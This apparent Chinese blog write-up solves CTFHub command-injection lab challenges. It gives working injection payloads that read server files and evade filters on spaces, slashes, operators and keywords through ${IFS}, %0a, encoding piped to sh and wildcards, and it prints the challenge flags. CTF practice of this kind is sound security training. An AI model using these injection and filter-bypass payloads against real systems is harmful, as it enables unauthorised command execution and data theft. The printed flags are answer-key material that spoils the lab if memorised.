CTFHUB-RCE-命令注入

命令注入 无过滤

考点
属于是纯纯的命令注入
思路分析
构造playload

127.0.0.1|ls

1
发现一个数字串挺长的php
构造

127.0.0.1|cat 18930164348325.php

提交了[1]没有东西
可以构造

127.0.0.1|cat 18930164348325.php|base64

在这里插入图片描述

然后base64解码
在这里插入图片描述
或者不加base64
查看源码也能得到
在这里插入图片描述
playload:

ctfhub{af6df24d6b085066d0dc46d3}

过滤cat

考点
过滤cat 找个能代替的

cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f

做题过程
和无过滤类似 仅仅替换了cat
就是用playload

127.0.0.1|ls
127.0.0.1|less xxxxxx.php

然后查看源码即可得到flag

空格过滤

考点
就是过滤掉了空格 找能代替空格的代替就行了
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}来代替空格

127.0.0.1;cat${IFS}flag_64402731720130.php

其他过程都一样的

过滤目录分隔符

考点
过滤了目录分隔符 / 那么我们就 cd 命令进入对应的目录。
过程分析
多了个 flag_is_here还过滤了/
playload

127.0.0.1;cd flag_is_here;cat flag_585519785529.php |base64

其余过程同上

过滤运算符

考点
运算符替换
过程分析
过滤了 | 与 & ,使用 ; 分隔命令来代替
file | base64也可以写成base64 file
playload

127.0.0.1;cat flag_297281061019145.php  //再查看源码
127.0.0.1; base64 flag_297281061019145.php   //再解码

其余过程相似

综合过滤

考点
各种过滤的综合使用
解题思路
综合过滤 考虑各种绕过
在这里插入图片描述
在这里插入图片描述

%0a代替换行
%09代替TAB键(因为flag被过滤了,所以通过TAB来补全flag_is_here)
%5c 代替 \(用 \ 来分隔开 cat , cat 也被过滤了)
f***代替flag(正则)

查看目录
127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
查看文件内容(查看网页源代码得到flag)127.0.0.1%0acd${IFS}f***_is_here${IFS}%0amore${IFS}f***_4626112191746.php
base64输出flag 127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_4626112191746.php

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

最后得到flag

ctfhub {cc9763fdb4b20c3a71891f39}

关键字过滤
方法一:特殊变量

$*
$@
$x    (x 代表 1-9)
${x}   (x>=10)

在没有传参的情况下,上面的特殊变量都是为空的

ca${21}t `a.txt

方法二:反斜杠

ca\t a.txt

方法三:变量替换

a=ca;b=t;c=a.txt;aaab $c

方法四:引号

c‘a‘t flag.php

方法五:编码绕过
Base64 编码绕过

root@kali:~/# echo ‘cat a.txt‘| base64 Y2F0IGEudHh0Cg==
root@kali:~/# echo ‘Y2F0IGEudHh0Cg==‘ | base64 -d abc

方法六:十六进制编码绕过

root@kali:~/# echo ‘cat a.txt‘ | xxd -p 63617420612e7478740a
root@kali:~/# echo ‘0x63617420612e7478740a‘| xxd -r -p Abc

方法七:通配符
?
*
[…]:匹配范围中任何一个字符 cat fl[abc]g.php
[a-z]:匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php
{a,b}:对以逗号分割的文件列表进行拓展 cat fl{b,c}g.php
命令分隔与执行多条命令
1.&
& 表示将任务置于后台执行
2.&&
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
3.|
| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
5.;
多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
过滤bash?那就用sh
sh的大部分脚本都可以在bash下运行。

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值